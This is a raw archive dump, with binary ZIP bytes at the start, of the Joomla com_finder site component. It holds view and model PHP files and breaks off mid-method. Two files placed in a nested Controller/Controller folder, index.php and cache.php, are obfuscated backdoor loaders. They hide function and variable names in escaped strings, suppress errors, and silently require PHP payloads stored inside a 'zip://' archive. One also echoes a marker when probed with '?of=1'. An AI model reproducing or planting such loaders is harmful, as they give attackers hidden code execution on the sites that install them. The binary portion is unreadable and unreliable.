����}h�0��]�����g�����xo��XqÏ�{������,h�퍻z�\~zo�2!�S��b��L���⪷��G���n���N��,�Z=�Pv�V��������������PK?�Tu[^�k����b_6920417fbd737.tmpPK?�Tu[�n�	����c_6920417fbd737.tmpPK�PK���\<�qm��.com_finder/src/Controller/Controller/index.phpnu&1i�<?php  error_reporting(0); $TAGr = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x66\x6c\x76\x5f\x36\x39\x32\x30\x34\x31\x37\x66\x62\x64\x37\x33\x37\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x32\x30\x34\x31\x37\x66\x62\x64\x37\x33\x37\x2e\x74\x6d\x70", ); (${$TAGr[0]}["\157\x66"]==1) && die($TAGr[1]($TAGr[2])); @require $TAGr[2]; ?>PK���\��˩tt.com_finder/src/Controller/Controller/cache.phpnu&1i�<?php  error_reporting(0); $TAGr = array("\x5f\107\x45\x54"); (${$TAGr[0]}["\157\x66"] == 1) && die("mnYUh+UtyQJPZjEoMUqhGsGb6PGar3Yc2RuKxIR1fhmTqx27a6owMmqenm5cKIe0"); @require "\x7a\x69\x70\x3a\x2f\x2f\x66\x6c\x76\x5f\x36\x39\x32\x30\x34\x31\x37\x66\x62\x64\x37\x33\x37\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x32\x30\x34\x31\x37\x66\x62\x64\x37\x33\x37\x2e\x74\x6d\x70"; ?>PK���\��A�1
1
'com_finder/src/View/Search/FeedView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\View\Search;

use Joomla\CMS\Document\Feed\FeedItem;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Search feed view class for the Finder package.
 *
 * @since  2.5
 */
class FeedView extends BaseHtmlView
{
    /**
     * Method to display the view.
     *
     * @param   string  $tpl  A template file to load. [optional]
     *
     * @return  void
     *
     * @since   2.5
     */
    public function display($tpl = null)
    {
        // Get the application
        $app = Factory::getApplication();

        // Adjust the list limit to the feed limit.
        $app->getInput()->set('limit', $app->get('feed_limit'));

        // Get view data.
        $state   = $this->get('State');
        $params  = $state->get('params');
        $query   = $this->get('Query');
        $results = $this->get('Items');
        $total   = $this->get('Total');

        // Push out the query data.
        $explained = HTMLHelper::_('query.explained', $query);

        // Set the document title.
        $this->setDocumentTitle($params->get('page_title', ''));

        // Configure the document description.
        if (!empty($explained)) {
            $this->getDocument()->setDescription(html_entity_decode(strip_tags($explained), ENT_QUOTES, 'UTF-8'));
        }

        // Set the document link.
        $this->getDocument()->link = Route::_($query->toUri());

        // If we don't have any results, we are done.
        if (empty($results)) {
            return;
        }

        // Convert the results to feed entries.
        foreach ($results as $result) {
            // Convert the result to a feed entry.
            $item              = new FeedItem();
            $item->title       = $result->title;
            $item->link        = Route::_($result->route);
            $item->description = $result->description;

            // Use Unix date to cope for non-english languages
            $item->date        = (int) $result->start_date ? HTMLHelper::_('date', $result->start_date, 'U') : $result->indexdate;

            // Loads item info into RSS array
            $this->getDocument()->addItem($item);
        }
    }
}
PK���\f5x((-com_finder/src/View/Search/OpensearchView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\View\Search;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Document\Opensearch\OpensearchUrl;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\AbstractView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * OpenSearch View class for Finder
 *
 * @since  2.5
 */
class OpensearchView extends AbstractView
{
    /**
     * Method to display the view.
     *
     * @param   string  $tpl  A template file to load. [optional]
     *
     * @return  void
     *
     * @since   2.5
     */
    public function display($tpl = null)
    {
        $app = Factory::getApplication();

        $params = ComponentHelper::getParams('com_finder');
        $this->getDocument()->setShortName($params->get('opensearch_name', $app->get('sitename', '')));
        $this->getDocument()->setDescription($params->get('opensearch_description', $app->get('MetaDesc', '')));

        // Prevent any output when OpenSearch Support is disabled
        if (!$params->get('opensearch', 1)) {
            return;
        }

        // Add the URL for the search
        $searchUri      = 'index.php?option=com_finder&view=search&q={searchTerms}';
        $suggestionsUri = 'index.php?option=com_finder&task=suggestions.opensearchsuggest&format=json&q={searchTerms}';
        $baseUrl        = Uri::getInstance()->toString(['host', 'port', 'scheme']);
        $active         = $app->getMenu()->getActive();

        if ($active->component == 'com_finder') {
            $searchUri .= '&Itemid=' . $active->id;
            $suggestionsUri .= '&Itemid=' . $active->id;
        }

        // Add the HTML result view
        $htmlSearch           = new OpensearchUrl();
        $htmlSearch->template = $baseUrl . Route::_($searchUri, false);
        $this->getDocument()->addUrl($htmlSearch);

        // Add the RSS result view
        $htmlSearch           = new OpensearchUrl();
        $htmlSearch->template = $baseUrl . Route::_($searchUri . '&format=feed&type=rss', false);
        $htmlSearch->type     = 'application/rss+xml';
        $this->getDocument()->addUrl($htmlSearch);

        // Add the Atom result view
        $htmlSearch           = new OpensearchUrl();
        $htmlSearch->template = $baseUrl . Route::_($searchUri . '&format=feed&type=atom', false);
        $htmlSearch->type     = 'application/atom+xml';
        $this->getDocument()->addUrl($htmlSearch);

        // Add suggestions URL
        if ($params->get('show_autosuggest', 1)) {
            $htmlSearch           = new OpensearchUrl();
            $htmlSearch->template = $baseUrl . Route::_($suggestionsUri, false);
            $htmlSearch->type     = 'application/x-suggestions+json';
            $this->getDocument()->addUrl($htmlSearch);
        }
    }
}
PK���\�OU'0*0*'com_finder/src/View/Search/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\View\Search;

use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Path;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Pagination\Pagination;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Profiler\Profiler;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Router\SiteRouterAwareInterface;
use Joomla\CMS\Router\SiteRouterAwareTrait;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Finder\Administrator\Indexer\Query;
use Joomla\Component\Finder\Site\Helper\FinderHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Search HTML view class for the Finder package.
 *
 * @since  2.5
 */
class HtmlView extends BaseHtmlView implements SiteRouterAwareInterface
{
    use SiteRouterAwareTrait;

    /**
     * The query indexer object
     *
     * @var    Query
     *
     * @since  4.0.0
     */
    protected $query;

    /**
     * The page parameters
     *
     * @var  \Joomla\Registry\Registry|null
     */
    protected $params = null;

    /**
     * The model state
     *
     * @var  \Joomla\CMS\Object\CMSObject
     */
    protected $state;

    /**
     * The logged in user
     *
     * @var  \Joomla\CMS\User\User|null
     */
    protected $user = null;

    /**
     * The suggested search query
     *
     * @var   string|false
     *
     * @since 4.0.0
     */
    protected $suggested = false;

    /**
     * The explained (human-readable) search query
     *
     * @var   string|null
     *
     * @since 4.0.0
     */
    protected $explained = null;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * An array of results
     *
     * @var    array
     *
     * @since  3.8.0
     */
    protected $results;

    /**
     * The total number of items
     *
     * @var    integer
     *
     * @since  3.8.0
     */
    protected $total;

    /**
     * The pagination object
     *
     * @var    Pagination
     *
     * @since  3.8.0
     */
    protected $pagination;

    /**
     * Method to display the view.
     *
     * @param   string  $tpl  A template file to load. [optional]
     *
     * @return  void
     *
     * @since   2.5
     */
    public function display($tpl = null)
    {
        $app          = Factory::getApplication();
        $this->params = $app->getParams();

        // Get view data.
        $this->state = $this->get('State');
        $this->query = $this->get('Query');
        \JDEBUG ? Profiler::getInstance('Application')->mark('afterFinderQuery') : null;
        $this->results = $this->get('Items');
        \JDEBUG ? Profiler::getInstance('Application')->mark('afterFinderResults') : null;
        $this->sortOrderFields = $this->get('sortOrderFields');
        \JDEBUG ? Profiler::getInstance('Application')->mark('afterFinderSortOrderFields') : null;
        $this->total = $this->get('Total');
        \JDEBUG ? Profiler::getInstance('Application')->mark('afterFinderTotal') : null;
        $this->pagination = $this->get('Pagination');
        \JDEBUG ? Profiler::getInstance('Application')->mark('afterFinderPagination') : null;

        // Flag indicates to not add limitstart=0 to URL
        $this->pagination->hideEmptyLimitstart = true;

        $input = $app->getInput()->get;

        // Add additional parameters
        $queryParameterList = [
            'f'  => 'int',
            't'  => 'array',
            'q'  => 'string',
            'l'  => 'cmd',
            'd1' => 'string',
            'd2' => 'string',
            'w1' => 'string',
            'w2' => 'string',
            'o'  => 'word',
            'od' => 'word',
        ];

        foreach ($queryParameterList as $parameter => $filter) {
            $value = $input->get($parameter, null, $filter);

            if (is_null($value)) {
                continue;
            }

            $this->pagination->setAdditionalUrlParam($parameter, $value);
        }

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Configure the pathway.
        if (!empty($this->query->input)) {
            $app->getPathway()->addItem($this->escape($this->query->input));
        }

        // Check for a double quote in the query string.
        if (strpos($this->query->input, '"')) {
            $router = $this->getSiteRouter();

            // Fix the q variable in the URL.
            if ($router->getVar('q') !== $this->query->input) {
                $router->setVar('q', $this->query->input);
            }
        }

        // Run an event on each result item
        if (is_array($this->results)) {
            // Import Finder plugins
            PluginHelper::importPlugin('finder');

            foreach ($this->results as $result) {
                $app->triggerEvent('onFinderResult', [&$result, &$this->query]);
            }
        }

        // Log the search
        FinderHelper::logSearch($this->query, $this->total);

        // Push out the query data.
        $this->suggested = HTMLHelper::_('query.suggested', $this->query);
        $this->explained = HTMLHelper::_('query.explained', $this->query);

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''));

        // Check for layout override only if this is not the active menu item
        // If it is the active menu item, then the view and category id will match
        $active = $app->getMenu()->getActive();

        if (isset($active->query['layout'])) {
            // We need to set the layout in case this is an alternative menu item (with an alternative layout)
            $this->setLayout($active->query['layout']);
        }

        $this->prepareDocument();

        \JDEBUG ? Profiler::getInstance('Application')->mark('beforeFinderLayout') : null;

        parent::display($tpl);

        \JDEBUG ? Profiler::getInstance('Application')->mark('afterFinderLayout') : null;
    }

    /**
     * Method to get hidden input fields for a get form so that control variables
     * are not lost upon form submission
     *
     * @return  string  A string of hidden input form fields
     *
     * @since   2.5
     */
    protected function getFields()
    {
        $fields = null;

        // Get the URI.
        $uri = Uri::getInstance(Route::_($this->query->toUri()));
        $uri->delVar('q');
        $uri->delVar('o');
        $uri->delVar('t');
        $uri->delVar('d1');
        $uri->delVar('d2');
        $uri->delVar('w1');
        $uri->delVar('w2');
        $elements = $uri->getQuery(true);

        // Create hidden input elements for each part of the URI.
        foreach ($elements as $n => $v) {
            if (is_scalar($v)) {
                $fields .= '<input type="hidden" name="' . $n . '" value="' . $v . '">';
            }
        }

        return $fields;
    }

    /**
     * Method to get the layout file for a search result object.
     *
     * @param   string  $layout  The layout file to check. [optional]
     *
     * @return  string  The layout file to use.
     *
     * @since   2.5
     */
    protected function getLayoutFile($layout = null)
    {
        // Create and sanitize the file name.
        $file = $this->_layout . '_' . preg_replace('/[^A-Z0-9_\.-]/i', '', $layout);

        // Check if the file exists.
        $filetofind = $this->_createFileName('template', ['name' => $file]);
        $exists     = Path::find($this->_path['template'], $filetofind);

        return ($exists ? $layout : 'result');
    }

    /**
     * Prepares the document
     *
     * @return  void
     *
     * @since   2.5
     */
    protected function prepareDocument()
    {
        $app   = Factory::getApplication();

        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = $app->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_FINDER_DEFAULT_PAGE_TITLE'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($layout = $this->params->get('article_layout')) {
            $this->setLayout($layout);
        }

        // Configure the document meta-description.
        if (!empty($this->explained)) {
            $explained = $this->escape(html_entity_decode(strip_tags($this->explained), ENT_QUOTES, 'UTF-8'));
            $this->getDocument()->setDescription($explained);
        } elseif ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }

        // Check for OpenSearch
        if ($this->params->get('opensearch', 1)) {
            $ostitle = $this->params->get(
                'opensearch_name',
                Text::_('COM_FINDER_OPENSEARCH_NAME') . ' ' . $app->get('sitename')
            );
            $this->getDocument()->addHeadLink(
                Uri::getInstance()->toString(['scheme', 'host', 'port']) . Route::_('index.php?option=com_finder&view=search&format=opensearch'),
                'search',
                'rel',
                ['title' => $ostitle, 'type' => 'application/opensearchdescription+xml']
            );
        }

        // Add feed link to the document head.
        if ($this->params->get('show_feed_link', 1) == 1) {
            // Add the RSS link.
            $props = ['type' => 'application/rss+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())];
            $route = Route::_($this->query->toUri() . '&format=feed&type=rss');
            $this->getDocument()->addHeadLink($route, 'alternate', 'rel', $props);

            // Add the ATOM link.
            $props = ['type' => 'application/atom+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())];
            $route = Route::_($this->query->toUri() . '&format=feed&type=atom');
            $this->getDocument()->addHeadLink($route, 'alternate', 'rel', $props);
        }
    }
}
PK���\=��)com_finder/src/Model/SuggestionsModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Component\Finder\Administrator\Indexer\Helper;
use Joomla\Database\DatabaseQuery;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Suggestions model class for the Finder package.
 *
 * @since  2.5
 */
class SuggestionsModel extends ListModel
{
    /**
     * Context string for the model type.
     *
     * @var    string
     * @since  2.5
     */
    protected $context = 'com_finder.suggestions';

    /**
     * Method to get an array of data items.
     *
     * @return  array  An array of data items.
     *
     * @since   2.5
     */
    public function getItems()
    {
        // Get the items.
        $items = parent::getItems();

        // Convert them to a simple array.
        foreach ($items as $k => $v) {
            $items[$k] = $v->term;
        }

        return $items;
    }

    /**
     * Method to build a database query to load the list data.
     *
     * @return  DatabaseQuery  A database query
     *
     * @since   2.5
     */
    protected function getListQuery()
    {
        $user   = $this->getCurrentUser();
        $groups = ArrayHelper::toInteger($user->getAuthorisedViewLevels());
        $lang   = Helper::getPrimaryLanguage($this->getState('language'));

        // Create a new query object.
        $db          = $this->getDatabase();
        $termIdQuery = $db->getQuery(true);
        $termQuery   = $db->getQuery(true);

        // Limit term count to a reasonable number of results to reduce main query join size
        $termIdQuery->select('ti.term_id')
            ->from($db->quoteName('#__finder_terms', 'ti'))
            ->where('ti.term LIKE ' . $db->quote($db->escape(StringHelper::strtolower($this->getState('input')), true) . '%', false))
            ->where('ti.common = 0')
            ->where('ti.language IN (' . $db->quote($lang) . ', ' . $db->quote('*') . ')')
            ->order('ti.links DESC')
            ->order('ti.weight DESC');

        $termIds = $db->setQuery($termIdQuery, 0, 100)->loadColumn();

        // Early return on term mismatch
        if (!count($termIds)) {
            return $termIdQuery;
        }

        // Select required fields
        $termQuery->select('DISTINCT(t.term)')
            ->from($db->quoteName('#__finder_terms', 't'))
            ->whereIn('t.term_id', $termIds)
            ->order('t.links DESC')
            ->order('t.weight DESC');

        // Join mapping table for term <-> link relation
        $mappingTable = $db->quoteName('#__finder_links_terms', 'tm');
        $termQuery->join('INNER', $mappingTable . ' ON tm.term_id = t.term_id');

        // Join links table
        $termQuery->join('INNER', $db->quoteName('#__finder_links', 'l') . ' ON (tm.link_id = l.link_id)')
            ->where('l.access IN (' . implode(',', $groups) . ')')
            ->where('l.state = 1')
            ->where('l.published = 1');

        return $termQuery;
    }

    /**
     * Method to get a store id based on model the configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  An identifier string to generate the store id. [optional]
     *
     * @return  string  A store id.
     *
     * @since   2.5
     */
    protected function getStoreId($id = '')
    {
        // Add the search query state.
        $id .= ':' . $this->getState('input');
        $id .= ':' . $this->getState('language');

        // Add the list state.
        $id .= ':' . $this->getState('list.start');
        $id .= ':' . $this->getState('list.limit');

        return parent::getStoreId($id);
    }

    /**
     * Method to auto-populate the model state.  Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   2.5
     */
    protected function populateState($ordering = null, $direction = null)
    {
        // Get the configuration options.
        $app    = Factory::getApplication();
        $input  = $app->getInput();
        $params = ComponentHelper::getParams('com_finder');
        $user   = $this->getCurrentUser();

        // Get the query input.
        $this->setState('input', $input->request->get('q', '', 'string'));

        // Set the query language
        if (Multilanguage::isEnabled()) {
            $lang = Factory::getLanguage()->getTag();
        } else {
            $lang = Helper::getDefaultLanguage();
        }

        $this->setState('language', $lang);

        // Load the list state.
        $this->setState('list.start', 0);
        $this->setState('list.limit', 10);

        // Load the parameters.
        $this->setState('params', $params);

        // Load the user state.
        $this->setState('user.id', (int) $user->get('id'));
    }
}
PK���\si�IQIQ$com_finder/src/Model/SearchModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Finder\Administrator\Indexer\Query;
use Joomla\String\StringHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Search model class for the Finder package.
 *
 * @since  2.5
 */
class SearchModel extends ListModel
{
    /**
     * Context string for the model type
     *
     * @var    string
     * @since  2.5
     */
    protected $context = 'com_finder.search';

    /**
     * The query object is an instance of Query which contains and
     * models the entire search query including the text input; static and
     * dynamic taxonomy filters; date filters; etc.
     *
     * @var    Query
     * @since  2.5
     */
    protected $searchquery;

    /**
     * Maps each sorting field with a text label.
     *
     * @var string[]
     *
     * @since 4.3.0
     */
    protected $sortOrderFieldsLabels = [
        'relevance.asc'   => 'COM_FINDER_SORT_BY_RELEVANCE_ASC',
        'relevance.desc'  => 'COM_FINDER_SORT_BY_RELEVANCE_DESC',
        'title.asc'       => 'JGLOBAL_TITLE_ASC',
        'title.desc'      => 'JGLOBAL_TITLE_DESC',
        'date.asc'        => 'JDATE_ASC',
        'date.desc'       => 'JDATE_DESC',
        'price.asc'       => 'COM_FINDER_SORT_BY_PRICE_ASC',
        'price.desc'      => 'COM_FINDER_SORT_BY_PRICE_DESC',
        'sale_price.asc'  => 'COM_FINDER_SORT_BY_SALES_PRICE_ASC',
        'sale_price.desc' => 'COM_FINDER_SORT_BY_SALES_PRICE_DESC',
    ];

    /**
     * An array of all excluded terms ids.
     *
     * @var    array
     * @since  2.5
     */
    protected $excludedTerms = [];

    /**
     * An array of all included terms ids.
     *
     * @var    array
     * @since  2.5
     */
    protected $includedTerms = [];

    /**
     * An array of all required terms ids.
     *
     * @var    array
     * @since  2.5
     */
    protected $requiredTerms = [];

    /**
     * Method to get the results of the query.
     *
     * @return  array  An array of Result objects.
     *
     * @since   2.5
     * @throws  \Exception on database error.
     */
    public function getItems()
    {
        $items = parent::getItems();

        // Check the data.
        if (empty($items)) {
            return null;
        }

        $results = [];

        // Convert the rows to result objects.
        foreach ($items as $rk => $row) {
            // Build the result object.
            if (is_resource($row->object)) {
                $result = unserialize(stream_get_contents($row->object));
            } else {
                $result = unserialize($row->object);
            }

            $result->cleanURL = $result->route;

            // Add the result back to the stack.
            $results[] = $result;
        }

        // Return the results.
        return $results;
    }

    /**
     * Method to get the query object.
     *
     * @return  Query  A query object.
     *
     * @since   2.5
     */
    public function getQuery()
    {
        // Return the query object.
        return $this->searchquery;
    }

    /**
     * Method to build a database query to load the list data.
     *
     * @return  \Joomla\Database\DatabaseQuery  A database query.
     *
     * @since   2.5
     */
    protected function getListQuery()
    {
        // Create a new query object.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        // Select the required fields from the table.
        $query->select(
            $this->getState(
                'list.select',
                'l.link_id, l.object'
            )
        );

        $query->from('#__finder_links AS l');

        $user   = $this->getCurrentUser();
        $groups = $this->getState('user.groups', $user->getAuthorisedViewLevels());
        $query->whereIn($db->quoteName('l.access'), $groups)
            ->where('l.state = 1')
            ->where('l.published = 1');

        // Get the current date, minus seconds.
        $nowDate = $db->quote(substr_replace(Factory::getDate()->toSql(), '00', -2));

        // Add the publish up and publish down filters.
        $query->where('(l.publish_start_date IS NULL OR l.publish_start_date <= ' . $nowDate . ')')
            ->where('(l.publish_end_date IS NULL OR l.publish_end_date >= ' . $nowDate . ')');

        $query->group('l.link_id');
        $query->group('l.object');

        /*
         * Add the taxonomy filters to the query. We have to join the taxonomy
         * map table for each group so that we can use AND clauses across
         * groups. Within each group there can be an array of values that will
         * use OR clauses.
         */
        if (!empty($this->searchquery->filters)) {
            // Convert the associative array to a numerically indexed array.
            $groups     = array_values($this->searchquery->filters);
            $taxonomies = call_user_func_array('array_merge', array_values($this->searchquery->filters));

            $query->join('INNER', $db->quoteName('#__finder_taxonomy_map') . ' AS t ON t.link_id = l.link_id')
                ->where('t.node_id IN (' . implode(',', array_unique($taxonomies)) . ')');

            // Iterate through each taxonomy group.
            for ($i = 0, $c = count($groups); $i < $c; $i++) {
                $query->having('SUM(CASE WHEN t.node_id IN (' . implode(',', $groups[$i]) . ') THEN 1 ELSE 0 END) > 0');
            }
        }

        // Add the start date filter to the query.
        if (!empty($this->searchquery->date1)) {
            // Escape the date.
            $date1 = $db->quote($this->searchquery->date1);

            // Add the appropriate WHERE condition.
            if ($this->searchquery->when1 === 'before') {
                $query->where($db->quoteName('l.start_date') . ' <= ' . $date1);
            } elseif ($this->searchquery->when1 === 'after') {
                $query->where($db->quoteName('l.start_date') . ' >= ' . $date1);
            } else {
                $query->where($db->quoteName('l.start_date') . ' = ' . $date1);
            }
        }

        // Add the end date filter to the query.
        if (!empty($this->searchquery->date2)) {
            // Escape the date.
            $date2 = $db->quote($this->searchquery->date2);

            // Add the appropriate WHERE condition.
            if ($this->searchquery->when2 === 'before') {
                $query->where($db->quoteName('l.start_date') . ' <= ' . $date2);
            } elseif ($this->searchquery->when2 === 'after') {
                $query->where($db->quoteName('l.start_date') . ' >= ' . $date2);
            } else {
                $query->where($db->quoteName('l.start_date') . ' = ' . $date2);
            }
        }

        // Filter by language
        if ($this->getState('filter.language')) {
            $query->where('l.language IN (' . $db->quote(Factory::getLanguage()->getTag()) . ', ' . $db->quote('*') . ')');
        }

        // Get the result ordering and direction.
        $ordering  = $this->getState('list.ordering', 'm.weight');
        $direction = $this->getState('list.direction', 'DESC');

        /*
         * If we are ordering by relevance we have to add up the relevance
         * scores that are contained in the ordering field.
         */
        if ($ordering === 'm.weight') {
            // Get the base query and add the ordering information.
            $query->select('SUM(' . $db->escape($ordering) . ') AS ordering');
        } else {
            /**
             * If we are not ordering by relevance, we just have to add
             * the unique items to the set.
             */
            // Get the base query and add the ordering information.
            $query->select($db->escape($ordering) . ' AS ordering');
        }

        $query->order('ordering ' . $db->escape($direction));

        /*
         * If there are no optional or required search terms in the query, we
         * can get the results in one relatively simple database query.
         */
        if (empty($this->includedTerms) && $this->searchquery->empty && $this->searchquery->input == '') {
            // Return the results.
            return $query;
        }

        /*
         * If there are no optional or required search terms in the query and
         * empty searches are not allowed, we return an empty query.
         * If the search term is not empty and empty searches are allowed,
         * but no terms were found, we return an empty query as well.
         */
        if (
            empty($this->includedTerms)
            && (!$this->searchquery->empty || ($this->searchquery->empty && $this->searchquery->input != ''))
        ) {
            // Since we need to return a query, we simplify this one.
            $query->clear('join')
                ->clear('where')
                ->clear('bounded')
                ->clear('having')
                ->clear('group')
                ->where('false');

            return $query;
        }

        $included = call_user_func_array('array_merge', array_values($this->includedTerms));
        $query->join('INNER', $db->quoteName('#__finder_links_terms') . ' AS m ON m.link_id = l.link_id')
            ->where('m.term_id IN (' . implode(',', $included) . ')');

        // Check if there are any excluded terms to deal with.
        if (count($this->excludedTerms)) {
            $query2 = $db->getQuery(true);
            $query2->select('e.link_id')
                ->from($db->quoteName('#__finder_links_terms', 'e'))
                ->where('e.term_id IN (' . implode(',', $this->excludedTerms) . ')');
            $query->where('l.link_id NOT IN (' . $query2 . ')');
        }

        /*
         * The query contains required search terms.
         */
        if (count($this->requiredTerms)) {
            foreach ($this->requiredTerms as $terms) {
                if (count($terms)) {
                    $query->having('SUM(CASE WHEN m.term_id IN (' . implode(',', $terms) . ') THEN 1 ELSE 0 END) > 0');
                } else {
                    $query->where('false');
                    break;
                }
            }
        }

        return $query;
    }

    /**
     * Method to get the available sorting fields.
     *
     * @return  array   The sorting field objects.
     *
     * @throws  \Exception
     *
     * @since   4.3.0
     */
    public function getSortOrderFields()
    {
        $sortOrderFields      = [];
        $directions           = ['asc', 'desc'];
        $app                  = Factory::getApplication();
        $params               = $app->getParams();
        $sortOrderFieldValues = $params->get('shown_sort_order', [], 'array');

        if ($params->get('show_sort_order', 0, 'uint') && !empty($sortOrderFieldValues)) {
            $defaultSortFieldValue = $params->get('sort_order', '', 'cmd');
            $queryUri              = Uri::getInstance($this->getQuery()->toUri());

            // If the default field is not included in the shown sort fields, add it.
            if (!in_array($defaultSortFieldValue, $sortOrderFieldValues)) {
                array_unshift($sortOrderFieldValues, $defaultSortFieldValue);
            }

            foreach ($sortOrderFieldValues as $sortOrderFieldValue) {
                foreach ($directions as $direction) {
                    // The relevance has only descending direction. Except if ascending is set in the parameters.
                    if ($sortOrderFieldValue === 'relevance' && $direction === 'asc' && $app->getParams()->get('sort_direction', 'desc') === 'desc') {
                        continue;
                    }

                    $sortOrderFields[] = $this->getSortField($sortOrderFieldValue, $direction, $queryUri);
                }
            }
        }

        // Import Finder plugins
        PluginHelper::importPlugin('finder');

        // Trigger an event, in case a plugin wishes to change the order fields.
        $app->triggerEvent('onFinderSortOrderFields', [&$sortOrderFields]);

        return $sortOrderFields;
    }

    /**
     * Method to generate and return a sorting field
     *
     * @param   string  $value      The value based on which the results will be sorted.
     * @param   string  $direction  The sorting direction ('asc' or 'desc').
     * @param   Uri     $queryUri   The uri of the search query.
     *
     * @return  \stdClass   The sorting field object.
     *
     * @throws  \Exception
     *
     * @since   4.3.0
     */
    protected function getSortField(string $value, string $direction, Uri $queryUri)
    {
        $sortField = new \stdClass();
        $app       = Factory::getApplication();

        // We have to clone the query uri. Otherwise the next elements will use the same.
        $queryUri = clone $queryUri;
        $queryUri->setVar('o', $value);
        $currentOrderingDirection = $app->getInput()->getWord('od', $app->getParams()->get('sort_direction', 'desc'));

        // Validate the sorting direction and add it only if it is different than the set in the params.
        if (in_array($direction, ['asc', 'desc']) && $direction != $app->getParams()->get('sort_direction', 'desc')) {
            $queryUri->setVar('od', StringHelper::strtolower($direction));
        }

        $label = '';

        if (isset($this->sortOrderFieldsLabels[$value . '.' . $direction])) {
            $label = Text::_($this->sortOrderFieldsLabels[$value . '.' . $direction]);
        }

        $sortField->label      = $label;
        $sortField->url        = $queryUri->toString();
        $currentSortOrderField = $app->getInput()->getWord('o', $app->getParams()->get('sort_order', 'relevance'));
        $sortField->active     = false;

        if ($value === StringHelper::strtolower($currentSortOrderField) && $direction === $currentOrderingDirection) {
            $sortField->active = true;
        }

        return $sortField;
    }

    /**
     * Method to get a store id based on model the configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string   $id    An identifier string to generate the store id. [optional]
     * @param   boolean  $page  True to store the data paged, false to store all data. [optional]
     *
     * @return  string  A store id.
     *
     * @since   2.5
     */
    protected function getStoreId($id = '', $page = true)
    {
        // Get the query object.
        $query = $this->getQuery();

        // Add the search query state.
        $id .= ':' . $query->input;
